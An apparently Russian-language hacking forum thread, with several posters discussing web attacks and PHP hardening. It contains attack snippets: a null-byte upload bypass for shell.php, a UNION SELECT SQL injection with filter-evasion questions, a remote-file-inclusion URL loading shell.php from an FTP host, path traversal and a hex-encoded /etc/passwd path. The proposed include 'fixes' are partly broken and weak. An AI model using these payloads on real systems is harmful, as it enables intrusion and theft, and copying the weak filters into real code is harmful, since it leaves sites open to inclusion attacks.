двойное расширение не катит, пробовал. обрезать нульбайтом у меня получается так shell.%00.php не загружается.
Pashkela у меня так ничего не показывает. Скажи как найти принтабельное поле? Подставлять вместо каждой цифры? И можно ли как-то вывести эти данные так как написал я?
проблема в том, что любой автоматический сканер уязвимостей (Xspider. Acunetix и тд) при проверке показывает все порты (абсолютно все с первого до 9999 го), а после начинает их проверять на уязвимости. Что это и как бороться? Вчера еще такого не было.
Обоим ответы дал расширенные. Гуру... Может кто знает? Хотелось бы узнать ответ на мой вопрос, а не наставление, чем мне пользоваться
ребята подскажите как в таком случае,защитится от инклуда? <? if ($page=="") $page="any.htm"; include($page); ?> пробовал //защита от ядовитого нуля //if (!get_magic_quotes_gpc()) //$page=addslashes($page); //добавляем расширение пхп include($page.'.php'); но тогда к "any.htm" добавляется .php может исключения както можно зделать? или еще что попроще...
Не забываем о _https://forum.antichat.ru/thread98525.html PHP: switch($page) { case 'page1': include("page1.html"); break; case 'page2': include("page2.html"); break; case 'page3': include("page3.html"); break; ... default: include("home.html"); break; }
PHP: <? if ($page=="") { $page="any.php"; include($page); }else{ str_repalce('.', '', $page); str_repalce('\', '', $page); if(file_exists($page)){ include($page); } } ?> самый простой способ. Ну или как выше описали, при помощи switch-ей
php?id=1+union+select+1,2,3,4,5+--+ нормально php?id=1+union+select+1,2,3,4,5+From+--+ уже не обрабатывается, какие идейки по поводу фильтрации from-а, пробовал отправлять постом, не сработало, регистрами баловался тоже нулевой эффект
Угу, этот способ просто класс file.php?page=ftp://vasa:[email protected]/shell.php PS Я так полагаю в str_replace ты просто опечатался, как и в '\', а то вообще работать не будет.
почему? точка вырезается же, с ftp не проканает. А "\" вырезается, чтобы не передать в хексе путь \x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64 = /etc/passwd Про опечатку - действительно два слеша надо, т.к. экранирование. PHP: <? if ($page=="") { $page="any.php"; include($page); }else{ str_replace('.', '', $page); str_replace('/', '', $page); // прямые тоже вырезать str_replace('\\', '', $page); if(file_exists($page)){ include($page); } } ?>
попугай, ничего твой "фильтр" не вырезает. Проверь сам PHP: if ($page=="") { $page="any.php"; include($page); }else{ str_replace('.', '', $page); str_replace('/', '', $page); // прямые тоже вырезать str_replace('\\', '', $page); if(file_exists($page)){ include($page); } } //test.php?page=../xek.txt //test.php?page=ftp://vasa:[email protected]/shell.php Проверял бы..
PHP: $page = $_GET['page']; добавь Да, надо переменной присваивать результат str_replace. Написал просто в общем виде алгоритм, над правильностью кода не задумывался поначалу. Вот так будет полностью в-общем. PHP: <?php $page = $_GET['page']; if ($page=="") { $page="any.php"; include($page); }else{ $page = str_replace('.', '', $page); $page = str_replace('/', '', $page); $page = str_replace(':', '', $page); $page = str_replace('\\', '', $page); if(file_exists($page)){ include($page); } } ?> Strilo4ka, да это не идея, это обычная практика.
Есть запрос - Code: ... GROUP BY f.id ORDER BY [сюда можем впихнуть что хотим] LIMIT 0, 15 Можно ли провести sql-inj , и как?